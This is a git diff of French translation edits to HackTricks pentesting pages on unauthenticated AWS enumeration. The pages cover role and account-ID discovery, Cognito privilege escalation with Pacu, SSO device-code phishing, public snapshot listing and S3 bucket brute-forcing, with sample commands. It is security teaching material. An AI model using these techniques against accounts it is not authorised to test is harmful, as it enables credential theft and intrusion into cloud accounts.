compte AWS d'y accéder parce que **les services AWS sans spécifier d'ID de compte** étaient autorisés. Au cours de la présentation, plusieurs exemples sont spécifiés, tels que des buckets S3 **permettant à cloudtrail** (de **n'importe quel AWS** compte) de **leur écrire** : ![](<../../../images/image (260).png>) -Autres services trouvés vulnérables : +D'autres services trouvés vulnérables : - AWS Config - Répertoire Serverless diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 438e4f69f..46520cf2d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Comptes Enum Non Authentifiés {{#include ../../../banners/hacktricks-training.md}} @@ -24,13 +24,13 @@ Recherchez des URLs contenant `.signin.aws.amazon.com` avec un **alias li ### Marketplace -Si un vendeur a des **instances sur le marketplace,** vous pouvez obtenir l'identifiant du propriétaire (identifiant de compte) du compte AWS qu'il a utilisé. +Si un vendeur a **des instances sur le marketplace,** vous pouvez obtenir l'ID du propriétaire (ID de compte) du compte AWS qu'il a utilisé. ### Snapshots -- Snapshots EBS publics (EC2 -> Snapshots -> Snapshots publics) -- Snapshots RDS publics (RDS -> Snapshots -> Tous les snapshots publics) -- AMIs publics (EC2 -> AMIs -> Images publiques) +- Snapshots EBS publics (EC2 -> Snapshots -> Public Snapshots) +- Snapshots RDS publics (RDS -> Snapshots -> All Public Snapshots) +- AMIs publics (EC2 -> AMIs -> Public images) ### Erreurs diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 285048f3d..79a57bea6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,7 +4,7 @@ ### Contournement de l'invocation de l'API -Selon la présentation [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), les Lambda Authorizers peuvent être configurés **en utilisant la syntaxe IAM** pour donner des permissions d'invocation des points de terminaison de l'API. Cela est tiré [**de la documentation**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +Selon la présentation [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), les Lambda Authorizers peuvent être configurés **en utilisant la syntaxe IAM** pour donner des permissions d'invocation des points de terminaison API. Cela est tiré [**de la documentation**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", @@ -28,7 +28,7 @@ Quelques exemples : > [!WARNING] > Notez que **"\*" ne cesse pas de s'étendre avec des barres obliques**, donc, si vous utilisez "\*" dans api-id par exemple, cela pourrait également indiquer "n'importe quelle étape" ou "n'importe quelle méthode" tant que la regex finale est toujours valide.\ > Donc `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Peut valider une requête post pour tester l'étape vers le chemin `/prod/GET/dashboard/admin` par exemple. +> Peut valider une requête post pour tester l'étape au chemin `/prod/GET/dashboard/admin` par exemple. Vous devez toujours avoir clairement en tête ce que vous souhaitez autoriser à accéder et ensuite vérifier si d'autres scénarios sont possibles avec les permissions accordées. @@ -44,7 +44,7 @@ https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` ### Obtenir l'ID de compte à partir de l'URL publique de l'API Gateway -Tout comme avec les buckets S3, les passerelles Data Exchange et Lambda, il est possible de trouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** à partir d'une URL publique de l'API Gateway. Cela se fait en trouvant l'ID de compte un caractère à la fois en abusant des jokers dans la section **`aws:ResourceAccount`** de la politique.\ +Tout comme avec les buckets S3, Data Exchange et les URL de passerelles Lambda, il est possible de trouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** à partir d'une URL publique de l'API Gateway. Cela se fait en trouvant l'ID de compte un caractère à la fois en abusant des jokers dans la section **`aws:ResourceAccount`** de la politique.\ Cette technique permet également d'obtenir **les valeurs des tags** si vous connaissez la clé du tag (il y en a quelques-unes par défaut intéressantes). Vous pouvez trouver plus d'informations dans la [**recherche originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index e2c6d3100..ae85c3cb4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -14,8 +14,8 @@ Pour des informations de base sur Cognito, consultez : ### ID de Pool d'Identité -Les Pools d'Identité peuvent accorder **des rôles IAM aux utilisateurs non authentifiés** qui **connaissent simplement l'ID de Pool d'Identité** (ce qui est assez courant à **trouver**), et un attaquant avec cette information pourrait essayer d'**accéder à ce rôle IAM** et de l'exploiter.\ -De plus, des rôles IAM pourraient également être attribués aux **utilisateurs authentifiés** qui accèdent au Pool d'Identité. Si un attaquant peut **enregistrer un utilisateur** ou a déjà **accès au fournisseur d'identité** utilisé dans le pool d'identité, il pourrait accéder au **rôle IAM attribué aux utilisateurs authentifiés** et abuser de ses privilèges. +Les Pools d'Identité peuvent accorder **des rôles IAM aux utilisateurs non authentifiés** qui **connaissent l'ID de Pool d'Identité** (ce qui est assez courant à **trouver**), et un attaquant avec cette information pourrait essayer d'**accéder à ce rôle IAM** et de l'exploiter.\ +De plus, des rôles IAM pourraient également être attribués à **des utilisateurs authentifiés** qui accèdent au Pool d'Identité. Si un attaquant peut **enregistrer un utilisateur** ou a déjà **accès au fournisseur d'identité** utilisé dans le pool d'identité, il pourrait accéder au **rôle IAM attribué aux utilisateurs authentifiés** et abuser de ses privilèges. [**Vérifiez comment faire cela ici**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). @@ -27,11 +27,11 @@ Par défaut, Cognito permet de **s'inscrire de nouveaux utilisateurs**. Être ca [Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs d'utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc. -Pour une description des fonctions des modules, consultez la partie 2 du [post de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, consultez la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Pour une description des fonctions des modules, voir la partie 2 du [blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Utilisation -Exemple d'utilisation de `cognito__attack` pour tenter la création d'utilisateur et tous les vecteurs d'escalade de privilèges contre un pool d'identité et un client de pool d'utilisateurs donnés : +Exemple d'utilisation de `cognito__attack` pour tenter la création d'utilisateur et tous les vecteurs de privesc contre un pool d'identité et un client de pool d'utilisateurs donnés : ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 28a17aa35..029ef69ec 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,4 +1,4 @@ -# AWS - DocumentDB Unauthenticated Enum +# AWS - DocumentDB Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 03f51b07e..ac301dcd7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Services Associés +## EC2 et services associés Vérifiez sur cette page plus d'informations à ce sujet : @@ -10,7 +10,7 @@ Vérifiez sur cette page plus d'informations à ce sujet : ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Ports Publics +### Ports publics Il est possible d'exposer **n'importe quel port des machines virtuelles à Internet**. Selon **ce qui fonctionne** sur le port exposé, un attaquant pourrait en abuser. @@ -20,9 +20,9 @@ Il est possible d'exposer **n'importe quel port des machines virtuelles à Inter https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### AMIs Publiques & Instantanés EBS +### AMIs publiques et snapshots EBS -AWS permet de **donner accès à quiconque pour télécharger des AMIs et des Instantanés**. Vous pouvez lister ces ressources très facilement depuis votre propre compte : +AWS permet de **donner accès à quiconque pour télécharger des AMIs et des snapshots**. Vous pouvez lister ces ressources très facilement depuis votre propre compte : ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -39,7 +39,7 @@ aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | sel ``` Si vous trouvez un instantané qui peut être restauré par quiconque, assurez-vous de consulter [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) pour des instructions sur le téléchargement et le pillage de l'instantané. -#### Modèle d'URL publique +#### Modèle d'URL public ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 957f67c50..bb4ddd48d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Pour plus d'informations, consultez : ### Dépôts de registre publics (images) -Comme mentionné dans la section ECS Enum, un registre public est **accessible par quiconque** utilise le format **`public.ecr.aws//`**. Si une URL de dépôt public est trouvée par un attaquant, il pourrait **télécharger l'image et rechercher des informations sensibles** dans les métadonnées et le contenu de l'image. +Comme mentionné dans la section Enum ECS, un registre public est **accessible par quiconque** utilise le format **`public.ecr.aws//`**. Si une URL de dépôt public est localisée par un attaquant, il pourrait **télécharger l'image et rechercher des informations sensibles** dans les métadonnées et le contenu de l'image. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 52fa2dba9..17c42a833 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -12,7 +12,7 @@ Pour plus d'informations, consultez : ### Vulnérabilité Web -Notez qu'en règle générale, les environnements Beanstalk ont **Metadatav1 désactivé**. +Notez qu'en règle générale, les environnements Beanstalk ont le **Metadatav1 désactivé**. Le format des pages web Beanstalk est **`https://-env..elasticbeanstalk.com/`** diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6360f56c6..37d77d6ec 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Elasticsearch Unauthenticated Enum +# AWS - Elasticsearch Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 2c1dd4206..e3f4ca5c0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - IAM & STS Enum Non Authentifié +# AWS - IAM & STS Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} ## Énumérer les rôles et les noms d'utilisateur dans un compte -### ~~Forçage de rôle par brute force~~ +### ~~Brute-Force d'Assumer un Rôle~~ > [!CAUTION] > **Cette technique ne fonctionne plus** car que le rôle existe ou non, vous obtenez toujours cette erreur : @@ -15,7 +15,7 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Tenter de **prendre un rôle sans les autorisations nécessaires** déclenche un message d'erreur AWS. Par exemple, si non autorisé, AWS pourrait renvoyer : +Tenter d'**assumer un rôle sans les autorisations nécessaires** déclenche un message d'erreur AWS. Par exemple, si non autorisé, AWS pourrait renvoyer : ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` @@ -23,7 +23,7 @@ Ce message confirme l'existence du rôle mais indique que sa politique d'assumpt ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Intéressant, cette méthode de **distinction entre les rôles existants et non existants** est applicable même à travers différents comptes AWS. Avec un ID de compte AWS valide et une liste de mots ciblée, on peut énumérer les rôles présents dans le compte sans faire face à des limitations inhérentes. +Il est intéressant de noter que cette méthode de **distinction entre les rôles existants et non existants** est applicable même entre différents comptes AWS. Avec un ID de compte AWS valide et une liste de mots ciblée, on peut énumérer les rôles présents dans le compte sans faire face à des limitations inhérentes. Vous pouvez utiliser ce [script pour énumérer les principaux potentiels](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) en abusant de ce problème. @@ -144,7 +144,7 @@ Cette confiance pourrait donner accès à un rôle avec la **politique de confia } ``` Cette politique de confiance peut être correcte, mais le **manque de plus de conditions** devrait vous inciter à vous méfier.\ -Ceci est dû au fait que le rôle précédent peut être assumé par **QUICONQUE de Github Actions** ! Vous devriez spécifier dans les conditions d'autres éléments tels que le nom de l'organisation, le nom du dépôt, l'environnement, la branche... +C'est parce que le rôle précédent peut être assumé par **QUICONQUE de Github Actions** ! Vous devriez spécifier dans les conditions d'autres éléments tels que le nom de l'organisation, le nom du dépôt, l'environnement, la branche... Une autre mauvaise configuration potentielle est d'**ajouter une condition** comme suit : ```json @@ -152,7 +152,7 @@ Une autre mauvaise configuration potentielle est d'**ajouter une condition** com "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Notez le **joker** (\*) avant le **deux-points** (:). Vous pouvez créer une org telle que **org_name1** et **assumer le rôle** depuis une action Github. +Notez que **wildcard** (\*) avant le **deux-points** (:). Vous pouvez créer une org telle que **org_name1** et **assumer le rôle** depuis une action Github. ## Références diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 0e4dd1918..a684cfb17 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - Identity Center & SSO Unauthenticated Enum +# AWS - Identity Center & SSO Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} -## Phishing par Code de Dispositif AWS +## Phishing par code de dispositif AWS Initialement proposé dans [**cet article de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), il est possible d'envoyer un **lien** à un utilisateur utilisant AWS SSO qui, si le **utilisateur accepte**, permettra à l'attaquant d'obtenir un **jeton pour usurper l'identité de l'utilisateur** et accéder à tous les rôles auxquels l'utilisateur peut accéder dans le **Identity Center**. @@ -11,7 +11,7 @@ Pour réaliser cette attaque, les prérequis sont : - La victime doit utiliser le **Identity Center** - L'attaquant doit connaître le **sous-domaine** utilisé par la victime `.awsapps.com/start` -Juste avec les informations précédentes, l'**attaquant pourra envoyer un lien à l'utilisateur** qui, s'il est **accepté**, accordera à l'**attaquant l'accès au compte** utilisateur AWS. +Avec ces informations, l'**attaquant pourra envoyer un lien à l'utilisateur** qui, s'il est **accepté**, accordera à l'**attaquant l'accès au compte** utilisateur AWS. ### Attaque @@ -104,9 +104,9 @@ sts_creds.get('roleCredentials') ``` ### Phishing le MFA impénétrable -C'est amusant de savoir que l'attaque précédente **fonctionne même si un "MFA impénétrable" (webAuth) est utilisé**. Cela est dû au fait que le **flux de travail précédent ne quitte jamais le domaine OAuth utilisé**. Contrairement à d'autres attaques de phishing où l'utilisateur doit supplanter le domaine de connexion, dans le cas où le flux de code de dispositif est préparé, un **code est connu par un dispositif** et l'utilisateur peut se connecter même sur une machine différente. Si le prompt est accepté, le dispositif, juste en **connaissant le code initial**, sera capable de **récupérer les identifiants** pour l'utilisateur. +Il est amusant de savoir que l'attaque précédente **fonctionne même si un "MFA impénétrable" (webAuth) est utilisé**. Cela est dû au fait que le **flux de travail précédent ne quitte jamais le domaine OAuth utilisé**. Contrairement à d'autres attaques de phishing où l'utilisateur doit remplacer le domaine de connexion, dans le cas où le flux de code de dispositif est préparé, un **code est connu par un dispositif** et l'utilisateur peut se connecter même sur une machine différente. Si l'invite est acceptée, le dispositif, simplement en **connaissant le code initial**, sera capable de **récupérer les identifiants** pour l'utilisateur. -Pour plus d'infos à ce sujet, [**consultez ce post**](https://mjg59.dreamwidth.org/62175.html). +Pour plus d'infos sur ce [**vérifiez ce post**](https://mjg59.dreamwidth.org/62175.html). ### Outils Automatiques diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index e80ac5166..dc8e203da 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 56b4c0923..ed8ad8388 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,10 +1,10 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Accès non authentifié à Lambda {{#include ../../../banners/hacktricks-training.md}} ## URL de fonction publique -Il est possible de relier un **Lambda** à une **URL de fonction publique** à laquelle tout le monde peut accéder. Cela pourrait contenir des vulnérabilités web. +Il est possible de lier un **Lambda** à une **URL de fonction publique** à laquelle tout le monde peut accéder. Cela pourrait contenir des vulnérabilités web. ### Modèle d'URL publique ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 92a5ee675..132f8ac13 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,11 +6,11 @@ ### **RabbitMQ** -Dans le cas de **RabbitMQ**, par **défaut, l'accès public** et ssl sont activés. Mais vous avez besoin de **identifiants** pour accéder (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). De plus, il est possible d'**accéder à la console de gestion web** si vous connaissez les identifiants dans `https://b-.mq.us-east-1.amazonaws.com/` +Dans le cas de **RabbitMQ**, par **défaut, l'accès public** et ssl sont activés. Mais vous avez besoin de **credentials** pour accéder (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). De plus, il est possible d'**accéder à la console de gestion web** si vous connaissez les credentials dans `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -Dans le cas de **ActiveMQ**, par défaut, l'accès public et ssl sont activés, mais vous avez besoin d'identifiants pour accéder. +Dans le cas de **ActiveMQ**, par défaut, l'accès public et ssl sont activés, mais vous avez besoin de credentials pour accéder. ### Modèle d'URL publique ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index e8b7d01e6..e0859f8d4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - MSK Unauthenticated Enum +# AWS - MSK Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} -### Port Public +### Port public Il est possible de **rendre le broker Kafka public**, mais vous aurez besoin de **identifiants**, de permissions IAM ou d'un certificat valide (selon la méthode d'authentification configurée). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 9f7e9ffb5..cbacd7560 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -12,7 +12,7 @@ Pour plus d'informations, consultez : ## Port Public -Il est possible de donner un accès public à la **base de données depuis Internet**. L'attaquant devra néanmoins **connaître le nom d'utilisateur et le mot de passe,** l'accès IAM, ou un **exploit** pour entrer dans la base de données. +Il est possible de donner un accès public à la **base de données depuis Internet**. L'attaquant devra toujours **connaître le nom d'utilisateur et le mot de passe,** l'accès IAM, ou un **exploit** pour entrer dans la base de données. ## Instantanés RDS Publics diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index 2f3da69b1..f5c90619b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Redshift Unauthenticated Enum +# AWS - Redshift Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 734931ad6..9248f21ce 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -1,20 +1,20 @@ -# AWS - S3 Unauthenticated Enum +# AWS - S3 Enum non authentifié {{#include ../../../banners/hacktricks-training.md}} -## S3 Public Buckets +## S3 Buckets Publics -Un bucket est considéré comme **“public”** si **tout utilisateur peut lister le contenu** du bucket, et **“privé”** si le contenu du bucket ne peut **être listé ou écrit que par certains utilisateurs**. +Un bucket est considéré comme **“public”** si **tout utilisateur peut lister le contenu** du bucket, et **“privé”** si le contenu du bucket peut **être listé ou écrit uniquement par certains utilisateurs**. -Les entreprises peuvent avoir des **permissions de buckets mal configurées** donnant accès soit à tout, soit à tous les utilisateurs authentifiés dans AWS dans n'importe quel compte (donc à quiconque). Notez que même avec de telles mauvaises configurations, certaines actions peuvent ne pas être possibles car les buckets peuvent avoir leurs propres listes de contrôle d'accès (ACL). +Les entreprises peuvent avoir des **permissions de buckets mal configurées** donnant accès soit à tout, soit à tous les utilisateurs authentifiés dans AWS dans n'importe quel compte (donc à n'importe qui). Notez que même avec de telles mauvaises configurations, certaines actions peuvent ne pas être possibles car les buckets peuvent avoir leurs propres listes de contrôle d'accès (ACL). -**En savoir plus sur la mauvaise configuration d'AWS-S3 ici :** [**http://flaws.cloud**](http://flaws.cloud/) **et** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Découvrez les mauvaises configurations AWS-S3 ici :** [**http://flaws.cloud**](http://flaws.cloud/) **et** [**http://flaws2.cloud/**](http://flaws2.cloud) -### Finding AWS Buckets +### Trouver des Buckets AWS Différentes méthodes pour trouver quand une page web utilise AWS pour stocker certaines ressources : -#### Enumeration & OSINT : +#### Énumération & OSINT : - Utiliser le plugin de navigateur **wappalyzer** - Utiliser burp (**spidering** le web) ou en naviguant manuellement à travers la page, toutes les **ressources** **chargées** seront sauvegardées dans l'historique. @@ -28,7 +28,7 @@ http://[bucket_name].s3.amazonaws.com/ - Vérifiez les **CNAMES** car `resources.domain.com` pourrait avoir le CNAME `bucket.s3.amazonaws.com` - Vérifiez [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), un site avec déjà des **buckets ouverts découverts**. - Le **nom du bucket** et le **nom de domaine du bucket** doivent être **les mêmes.** -- **flaws.cloud** est dans **IP** 52.92.181.107 et si vous y allez, cela vous redirige vers [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). De plus, `dig -x 52.92.181.107` donne `s3-website-us-west-2.amazonaws.com`. +- **flaws.cloud** est en **IP** 52.92.181.107 et si vous y allez, cela vous redirige vers [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). De plus, `dig -x 52.92.181.107` donne `s3-website-us-west-2.amazonaws.com`. - Pour vérifier qu'il s'agit d'un bucket, vous pouvez également **visiter** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). #### Brute-Force @@ -45,33 +45,33 @@ Vous pouvez trouver des buckets en **brute-forçant des noms** liés à l'entrep - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# Generate a wordlist to create permutations
+
# Générer une liste de mots pour créer des permutations
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
+# Générer une liste de mots basée sur les domaines et sous-domaines à tester
+## Écrire ces domaines et sous-domaines dans subdomains.txt
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Create permutations based in a list with the domains and subdomains to attack
+# Créer des permutations basées sur une liste avec les domaines et sous-domaines à attaquer
